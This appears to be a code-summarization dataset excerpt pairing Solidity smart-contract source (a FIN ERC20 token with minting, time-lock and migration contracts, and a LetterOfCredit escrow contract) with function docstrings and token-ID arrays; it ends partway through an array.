*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FINPointRecord is Ownable {
using SafeMath for uint256;
// claimRate is the multiplier to calculate the number of FIN ERC20 claimable per FIN points reorded
// e.g., 100 = 1:1 claim ratio
// this claim rate can be seen as a kind of airdrop for exsisting FIN point holders at the time of claiming
uint256 public claimRate;
// an address map used to store the per account claimable FIN ERC20 record
// as a result of swapped FIN points
mapping (address => uint256) public claimableFIN;
event FINRecordCreate(
address indexed _recordAddress,
uint256 _finPointAmount,
uint256 _finERC20Amount
);
event FINRecordUpdate(
address indexed _recordAddress,
uint256 _finPointAmount,
uint256 _finERC20Amount
);
event FINRecordMove(
address indexed _oldAddress,
address indexed _newAddress,
uint256 _finERC20Amount
);
event ClaimRateSet(uint256 _claimRate);
/**
* Throws if claim rate is not set
*/
modifier canRecord() {
require(claimRate > 0);
_;
}
/**
* @dev sets the claim rate for FIN ERC20
* @param _claimRate is the claim rate applied during record creation
*/
function setClaimRate(uint256 _claimRate) public onlyOwner{
require(_claimRate <= 1000); // maximum 10x migration rate
require(_claimRate >= 100); // minimum 1x migration rate
claimRate = _claimRate;
emit ClaimRateSet(claimRate);
}
/**
* @dev Used to calculate and store the amount of claimable FIN ERC20 from existing FIN point balances
* @param _recordAddress - the registered address assigned to FIN ERC20 claiming
* @param _finPointAmount - the original amount of FIN points to be moved, this param should always be entered as base units
* i.e., 1 FIN = 10**18 base units
* @param _applyClaimRate - flag to apply the claim rate or not, any Finterra Technologies company FIN point allocations
* are strictly moved at one to one and do not recive the claim (airdrop) bonus applied to FIN point user balances
*/
function recordCreate(address _recordAddress, uint256 _finPointAmount, bool _applyClaimRate) public onlyOwner canRecord {
require(_finPointAmount >= 100000); // minimum allowed FIN 0.000000000001 (in base units) to avoid large rounding errors
uint256 finERC20Amount;
if(_applyClaimRate == true) {
finERC20Amount = _finPointAmount.mul(claimRate).div(100);
} else {
finERC20Amount = _finPointAmount;
}
claimableFIN[_recordAddress] = claimableFIN[_recordAddress].add(finERC20Amount);
emit FINRecordCreate(_recordAddress, _finPointAmount, claimableFIN[_recordAddress]);
}
/**
* @dev Used to calculate and update the amount of claimable FIN ERC20 from existing FIN point balances
* @param _recordAddress - the registered address assigned to FIN ERC20 claiming
* @param _finPointAmount - the original amount of FIN points to be migrated, this param should always be entered as base units
* i.e., 1 FIN = 10**18 base units
* @param _applyClaimRate - flag to apply claim rate or not, any Finterra Technologies company FIN point allocations
* are strictly migrated at one to one and do not recive the claim (airdrop) bonus applied to FIN point user balances
*/
function recordUpdate(address _recordAddress, uint256 _finPointAmount, bool _applyClaimRate) public onlyOwner canRecord {
require(_finPointAmount >= 100000); // minimum allowed FIN 0.000000000001 (in base units) to avoid large rounding errors
uint256 finERC20Amount;
if(_applyClaimRate == true) {
finERC20Amount = _finPointAmount.mul(claimRate).div(100);
} else {
finERC20Amount = _finPointAmount;
}
claimableFIN[_recordAddress] = finERC20Amount;
emit FINRecordUpdate(_recordAddress, _finPointAmount, claimableFIN[_recordAddress]);
}
/**
* @dev Used to move FIN ERC20 records from one address to another, primarily in case a user has lost access to their originally registered account
* @param _oldAddress - the original registered address
* @param _newAddress - the new registerd address
*/
function recordMove(address _oldAddress, address _newAddress) public onlyOwner canRecord {
require(claimableFIN[_oldAddress] != 0);
require(claimableFIN[_newAddress] == 0);
claimableFIN[_newAddress] = claimableFIN[_oldAddress];
claimableFIN[_oldAddress] = 0;
emit FINRecordMove(_oldAddress, _newAddress, claimableFIN[_newAddress]);
}
/**
* @dev Used to retrieve the FIN ERC20 migration records for an address, for FIN ERC20 claiming
* @param _recordAddress - the registered address where FIN ERC20 tokens can be claimed
* @return uint256 - the amount of recorded FIN ERC20 after FIN point migration
*/
function recordGet(address _recordAddress) public view returns (uint256) {
return claimableFIN[_recordAddress];
}
// cannot send ETH to this contract
function () public payable {
revert ();
}
}
contract Claimable is Ownable {
// FINPointRecord var definition
FINPointRecord public finPointRecordContract;
// an address map used to store the mintAllowed flag, so we do not mint more than once
mapping (address => bool) public isMinted;
event RecordSourceTransferred(
address indexed previousRecordContract,
address indexed newRecordContract
);
/**
* @dev The Claimable constructor sets the original `claimable record contract` to the provided _claimContract
* address.
*/
constructor(FINPointRecord _finPointRecordContract) public {
finPointRecordContract = _finPointRecordContract;
}
/**
* @dev Allows to change the record information source contract.
* @param _newRecordContract The address of the new record contract
*/
function transferRecordSource(FINPointRecord _newRecordContract) public onlyOwner {
_transferRecordSource(_newRecordContract);
}
/**
* @dev Transfers the reference of the record contract to a newRecordContract.
* @param _newRecordContract The address of the new record contract
*/
function _transferRecordSource(FINPointRecord _newRecordContract) internal {
require(_newRecordContract != address(0));
emit RecordSourceTransferred(finPointRecordContract, _newRecordContract);
finPointRecordContract = _newRecordContract;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender)public view returns (uint256);
function transferFrom(address from, address to, uint256 value)public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,address indexed spender,uint256 value);
}
contract StandardToken is ERC20Interface {
using SafeMath for uint256;
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply_;
// the following variables need to be here for scoping to properly freeze normal transfers after migration has started
// migrationStart flag
bool public migrationStart;
// var for storing the the TimeLock contract deployment address (for vesting FIN allocations)
TimeLock public timeLockContract;
/**
* @dev Modifier for allowing only TimeLock transactions to occur after the migration period has started
*/
modifier migrateStarted {
if(migrationStart == true){
require(msg.sender == address(timeLockContract));
}
_;
}
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public migrateStarted returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
migrateStarted
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TimeLock {
//FINERC20 var definition
MintableToken public ERC20Contract;
// custom data structure to hold locked funds and time
struct accountData {
uint256 balance;
uint256 releaseTime;
}
event Lock(address indexed _tokenLockAccount, uint256 _lockBalance, uint256 _releaseTime);
event UnLock(address indexed _tokenUnLockAccount, uint256 _unLockBalance, uint256 _unLockTime);
// only one locked account per address
mapping (address => accountData) public accounts;
/**
* @dev Constructor in which we pass the ERC20Contract address for reference and method calls
*/
constructor(MintableToken _ERC20Contract) public {
ERC20Contract = _ERC20Contract;
}
function timeLockTokens(uint256 _lockTimeS) public {
uint256 lockAmount = ERC20Contract.allowance(msg.sender, this); // get this time lock contract's approved amount of tokens
require(lockAmount != 0); // check that this time lock contract has been approved to lock an amount of tokens on the msg.sender's behalf
if (accounts[msg.sender].balance > 0) { // if locked balance already exists, add new amount to the old balance and retain the same release time
accounts[msg.sender].balance = SafeMath.add(accounts[msg.sender].balance, lockAmount);
} else { // else populate the balance and set the release time for the newly locked balance
accounts[msg.sender].balance = lockAmount;
accounts[msg.sender].releaseTime = SafeMath.add(block.timestamp, _lockTimeS);
}
emit Lock(msg.sender, lockAmount, accounts[msg.sender].releaseTime);
ERC20Contract.transferFrom(msg.sender, this, lockAmount);
}
function tokenRelease() public {
// check if user has funds due for pay out because lock time is over
require (accounts[msg.sender].balance != 0 && accounts[msg.sender].releaseTime <= block.timestamp);
uint256 transferUnlockedBalance = accounts[msg.sender].balance;
accounts[msg.sender].balance = 0;
accounts[msg.sender].releaseTime = 0;
emit UnLock(msg.sender, transferUnlockedBalance, block.timestamp);
ERC20Contract.transfer(msg.sender, transferUnlockedBalance);
}
/**
* @dev Used to retrieve FIN ERC20 contract address that this deployment is attatched to
* @return address - the FIN ERC20 contract address that this deployment is attatched to
*/
function getERC20() public view returns (address) {
return ERC20Contract;
}
}
contract FINERC20Migrate is Ownable {
using SafeMath for uint256;
// Address map used to store the per account migratable FIN balances
// as per the account's FIN ERC20 tokens on the Ethereum Network
mapping (address => uint256) public migratableFIN;
MintableToken public ERC20Contract;
constructor(MintableToken _finErc20) public {
ERC20Contract = _finErc20;
}
// Note: _totalMigratableFIN is a running total of FIN claimed as migratable in this contract,
// but does not represent the actual amount of FIN migrated to the Gallactic network
event FINMigrateRecordUpdate(
address indexed _account,
uint256 _totalMigratableFIN
);
/**
* @dev Used to calculate and store the amount of FIN ERC20 token balances to be migrated to the Gallactic network
*
* @param _balanceToMigrate - the requested balance to reserve for migration (in most cases this should be the account's total balance)
* - primarily included as a parameter for simple validation on the Gallactic side of the migration
*/
function initiateMigration(uint256 _balanceToMigrate) public {
uint256 migratable = ERC20Contract.migrateTransfer(msg.sender, _balanceToMigrate);
migratableFIN[msg.sender] = migratableFIN[msg.sender].add(migratable);
emit FINMigrateRecordUpdate(msg.sender, migratableFIN[msg.sender]);
}
/**
* @dev Used to retrieve the FIN ERC20 total migration records for an Etheruem account
* @param _account - the account to be checked for a migratable balance
* @return uint256 - the running total amount of migratable FIN ERC20 tokens
*/
function getFINMigrationRecord(address _account) public view returns (uint256) {
return migratableFIN[_account];
}
/**
* @dev Used to retrieve FIN ERC20 contract address that this deployment is attatched to
* @return address - the FIN ERC20 contract address that this deployment is attatched to
*/
function getERC20() public view returns (address) {
return ERC20Contract;
}
}
contract MintableToken is StandardToken, Claimable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
event SetMigrationAddress(address _finERC20MigrateAddress);
event SetTimeLockAddress(address _timeLockAddress);
event MigrationStarted();
event Migrated(address indexed account, uint256 amount);
bool public mintingFinished = false;
// var for storing the the FINERC20Migrate contract deployment address (for migration to the GALLACTIC network)
FINERC20Migrate public finERC20MigrationContract;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Modifier allowing only the set FINERC20Migrate.sol deployment to call a function
*/
modifier onlyMigrate {
require(msg.sender == address(finERC20MigrationContract));
_;
}
/**
* @dev Constructor to pass the finPointMigrationContract address to the Claimable constructor
*/
constructor(FINPointRecord _finPointRecordContract, string _name, string _symbol, uint8 _decimals)
public
Claimable(_finPointRecordContract)
StandardToken(_name, _symbol, _decimals) {
}
// fallback to prevent send ETH to this contract
function () public payable {
revert ();
}
/**
* @dev Allows addresses with FIN migration records to claim thier ERC20 FIN tokens. This is the only way minting can occur.
* @param _ethAddress address for the token holder
*/
function mintAllowance(address _ethAddress) public onlyOwner {
require(finPointRecordContract.recordGet(_ethAddress) != 0);
require(isMinted[_ethAddress] == false);
isMinted[_ethAddress] = true;
mint(msg.sender, finPointRecordContract.recordGet(_ethAddress));
approve(_ethAddress, finPointRecordContract.recordGet(_ethAddress));
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
private
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop all minting of new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* @dev Function to set the migration contract address
* @return True if the operation was successful.
*/
function setMigrationAddress(FINERC20Migrate _finERC20MigrationContract) public onlyOwner returns (bool) {
// check that this FIN ERC20 deployment is the migration contract's attached ERC20 token
require(_finERC20MigrationContract.getERC20() == address(this));
finERC20MigrationContract = _finERC20MigrationContract;
emit SetMigrationAddress(_finERC20MigrationContract);
return true;
}
/**
* @dev Function to set the TimeLock contract address
* @return True if the operation was successful.
*/
function setTimeLockAddress(TimeLock _timeLockContract) public onlyOwner returns (bool) {
// check that this FIN ERC20 deployment is the timelock contract's attached ERC20 token
require(_timeLockContract.getERC20() == address(this));
timeLockContract = _timeLockContract;
emit SetTimeLockAddress(_timeLockContract);
return true;
}
/**
* @dev Function to start the migration period
* @return True if the operation was successful.
*/
function startMigration() onlyOwner public returns (bool) {
require(migrationStart == false);
// check that the FIN migration contract address is set
require(finERC20MigrationContract != address(0));
// // check that the TimeLock contract address is set
require(timeLockContract != address(0));
migrationStart = true;
emit MigrationStarted();
return true;
}
/**
* @dev Function to modify the FIN ERC-20 balance in compliance with migration to FIN ERC-777 on the GALLACTIC Network
* - called by the FIN-ERC20-MIGRATE FINERC20Migrate.sol Migration Contract to record the amount of tokens to be migrated
* @dev modifier onlyMigrate - Permissioned only to the deployed FINERC20Migrate.sol Migration Contract
* @param _account The Ethereum account which holds some FIN ERC20 balance to be migrated to Gallactic
* @param _amount The amount of FIN ERC20 to be migrated
*/
function migrateTransfer(address _account, uint256 _amount) onlyMigrate public returns (uint256) {
require(migrationStart == true);
uint256 userBalance = balanceOf(_account);
require(userBalance >= _amount);
emit Migrated(_account, _amount);
balances[_account] = balances[_account].sub(_amount);
return _amount;
}
} | * @dev Function to mint tokens @param _to The address that will receive the minted tokens. @param _amount The amount of tokens to mint. @return A boolean that indicates if the operation was successful./ | function mint(
address _to,
uint256 _amount
)
private
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
| 7,309,179 | [
1,
2083,
358,
312,
474,
2430,
225,
389,
869,
1021,
1758,
716,
903,
6798,
326,
312,
474,
329,
2430,
18,
225,
389,
8949,
1021,
3844,
434,
2430,
358,
312,
474,
18,
327,
432,
1250,
716,
8527,
309,
326,
1674,
1703,
6873,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
312,
474,
12,
203,
3639,
1758,
389,
869,
16,
203,
3639,
2254,
5034,
389,
8949,
203,
565,
262,
203,
3639,
3238,
203,
3639,
848,
49,
474,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
2078,
3088,
1283,
67,
273,
2078,
3088,
1283,
27799,
1289,
24899,
8949,
1769,
203,
3639,
324,
26488,
63,
67,
869,
65,
273,
324,
26488,
63,
67,
869,
8009,
1289,
24899,
8949,
1769,
203,
3639,
3626,
490,
474,
24899,
869,
16,
389,
8949,
1769,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
389,
869,
16,
389,
8949,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.10;
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
contract LetterOfCredit {
using SafeMath for uint256;
modifier onlyParties {
require(msg.sender == buyer || msg.sender == seller || msg.sender == shippingManager, "Invalid access");
_;
}
modifier canInitializeBargain(uint256 _sum, uint256 _bargainDeadline) {
require(msg.sender == buyer, "Invalid access");
require(
bargainInitializedBy[buyer].bargainState == States.ZS ||
bargainInitializedBy[buyer].bargainState == States.FINISHED,
"You can't initialize a new bargain"
);
require(_sum > 0, "Bargain sum can't be less than 0");
require(_sum == msg.value, "Bargain sum should equal to the amount of ether sent");
require(
_bargainDeadline > now && _bargainDeadline < now + 3600 * 24 * 30 * 12 * 2,
"Invalid bargain period"
);
_;
}
enum States {ZS, INIT, VALIDATED, SENT, ACCEPTED, DECLINED, FINISHED}
address payable public buyer;
address payable public seller;
address public shippingManager;
struct Bargain {
uint256 bargainSum;
uint256 bargainDeadline;
string description;
States bargainState;
}
mapping(address => Bargain) public bargainInitializedBy;
event StateChangedToBy(States to, address by);
event BargainCancelledBy(address by);
/**
* @notice sets buyers and sellers addresses
*/
constructor(address payable _buyer, address payable _seller, address _shippingManager) public {
// no checks for 0 address
buyer = _buyer;
seller = _seller;
shippingManager = _shippingManager;
}
/**
* @notice creates a new bargain
* @dev state for the bargain should be ZS (aka Zero state) or FINISHED
* The creator role is only for buyer. Maximum bargain period is 2 years.
*/
function createBargain(uint256 _sum, uint256 _bargainDeadline, string calldata _description)
external
payable
canInitializeBargain(_sum, _bargainDeadline)
returns (bool)
{
Bargain memory newBargain = Bargain({
bargainSum: _sum,
bargainDeadline: _bargainDeadline,
description: _description,
bargainState: States.INIT
});
bargainInitializedBy[msg.sender] = newBargain;
}
/**
* @notice this method should be used in order to bring contract to a right state to use other methods
* @dev main logic is in ```changeStateTo```.
*/
function pushStateForwardTo(States _state) external onlyParties {
changeStateTo(_state);
emit StateChangedToBy(_state, msg.sender);
}
/**
* @notice bargain cancellation could be called only by buyer
* @dev changes state to ZS with no charge from buyer.
*/
function cancelBargainBuyer() external {
require(msg.sender == buyer, "Invalid access");
changeStateTo(States.ZS);
(, uint256 buyersRefund) = calculatePaymentsInState(States.INIT);
msg.sender.transfer(buyersRefund);
emit BargainCancelledBy(msg.sender);
}
/**
* @notice bargain cancellation could be called only by seller
* @dev changes state to ZS and charges ether from buyer to seller.
*/
function cancelBargainSeller() external {
require(msg.sender == seller, "Invalid access");
changeStateTo(States.ZS);
(uint256 compensationToSeller, uint256 returnedToBuyer) = calculatePaymentsInState(States.SENT);
msg.sender.transfer(compensationToSeller);
address(buyer).transfer(returnedToBuyer);
emit BargainCancelledBy(msg.sender);
}
/**
* @notice "pulls" ethers from a contract when letter of credit is accepted/declined
*/
function transferPaymentsToParties() external {
(uint256 sumToSeller, uint256 sumToBuyer) = calculatePaymentsInState(bargainInitializedBy[buyer].bargainState);
changeStateTo(States.FINISHED);
if (sumToBuyer != 0) {
address(buyer).transfer(sumToBuyer);
}
address(seller).transfer(sumToSeller);
emit StateChangedToBy(States.FINISHED, msg.sender);
}
/**
* @notice a private method that changes states in accordance to some conditions
* these conditions are: current state, msg.sender.
*/
function changeStateTo(States _state) private {
if (_state == States.VALIDATED) {
require(
msg.sender == buyer &&
bargainInitializedBy[msg.sender].bargainState == States.INIT
);
bargainInitializedBy[msg.sender].bargainState = States.VALIDATED;
}
if (_state == States.SENT) {
require(
msg.sender == shippingManager &&
bargainInitializedBy[buyer].bargainState == States.VALIDATED
);
bargainInitializedBy[buyer].bargainState = States.SENT;
}
if (_state == States.ACCEPTED || _state == States.DECLINED) {
require(
msg.sender == buyer &&
bargainInitializedBy[buyer].bargainState == States.SENT
);
bargainInitializedBy[msg.sender].bargainState = _state;
}
if (_state == States.ZS) {
if (msg.sender == buyer) {
require(
bargainInitializedBy[msg.sender].bargainState == States.INIT ||
(bargainInitializedBy[msg.sender].bargainState == States.VALIDATED &&
now > bargainInitializedBy[msg.sender].bargainDeadline),
"Not correct state for buyer cancellation"
);
}
if (msg.sender == seller) {
require(
bargainInitializedBy[buyer].bargainState == States.SENT &&
now > bargainInitializedBy[buyer].bargainDeadline,
"Not correct state for seller cancellation"
);
}
bargainInitializedBy[buyer].bargainState = States.ZS;
}
if (_state == States.FINISHED) {
require(
bargainInitializedBy[buyer].bargainState == States.ACCEPTED ||
bargainInitializedBy[buyer].bargainState == States.DECLINED,
"Bargain wasn't accpeted, neither declined"
);
bargainInitializedBy[buyer].bargainState = States.FINISHED;
}
}
/**
* @notice calculates withdrawal amounts in accordance to bargain state
*/
function calculatePaymentsInState(States _state) private view returns(uint256 sumToSeller, uint256 sumToBuyer) {
if (_state == States.INIT || _state == States.VALIDATED) {
sumToBuyer = bargainInitializedBy[buyer].bargainSum;
sumToSeller = 0;
}
if (_state == States.SENT) {
sumToSeller = (bargainInitializedBy[buyer].bargainSum.mul(30)).div(100);
sumToBuyer = (bargainInitializedBy[buyer].bargainSum).sub(sumToSeller);
}
if (_state == States.ACCEPTED) {
sumToBuyer = 0;
sumToSeller = bargainInitializedBy[buyer].bargainSum;
}
if (_state == States.DECLINED) {
sumToSeller = (bargainInitializedBy[buyer].bargainSum.mul(15)).div(100);
sumToBuyer = (bargainInitializedBy[buyer].bargainSum).sub(sumToSeller);
}
}
} | * @notice bargain cancellation could be called only by seller @dev changes state to ZS and charges ether from buyer to seller./ | function cancelBargainSeller() external {
require(msg.sender == seller, "Invalid access");
changeStateTo(States.ZS);
(uint256 compensationToSeller, uint256 returnedToBuyer) = calculatePaymentsInState(States.SENT);
msg.sender.transfer(compensationToSeller);
address(buyer).transfer(returnedToBuyer);
emit BargainCancelledBy(msg.sender);
}
| 1,044,753 | [
1,
70,
3175,
530,
7272,
3377,
506,
2566,
1338,
635,
29804,
225,
3478,
919,
358,
2285,
55,
471,
1149,
2852,
225,
2437,
628,
27037,
358,
29804,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3755,
38,
3175,
530,
22050,
1435,
3903,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
29804,
16,
315,
1941,
2006,
8863,
203,
540,
203,
3639,
2549,
1119,
774,
12,
7629,
18,
62,
55,
1769,
203,
3639,
261,
11890,
5034,
1161,
25159,
774,
22050,
16,
2254,
5034,
2106,
774,
38,
16213,
13,
273,
4604,
23725,
382,
1119,
12,
7629,
18,
17418,
1769,
203,
540,
203,
3639,
1234,
18,
15330,
18,
13866,
12,
2919,
25159,
774,
22050,
1769,
203,
3639,
1758,
12,
70,
16213,
2934,
13866,
12,
2463,
329,
774,
38,
16213,
1769,
203,
540,
203,
3639,
3626,
605,
3175,
530,
21890,
858,
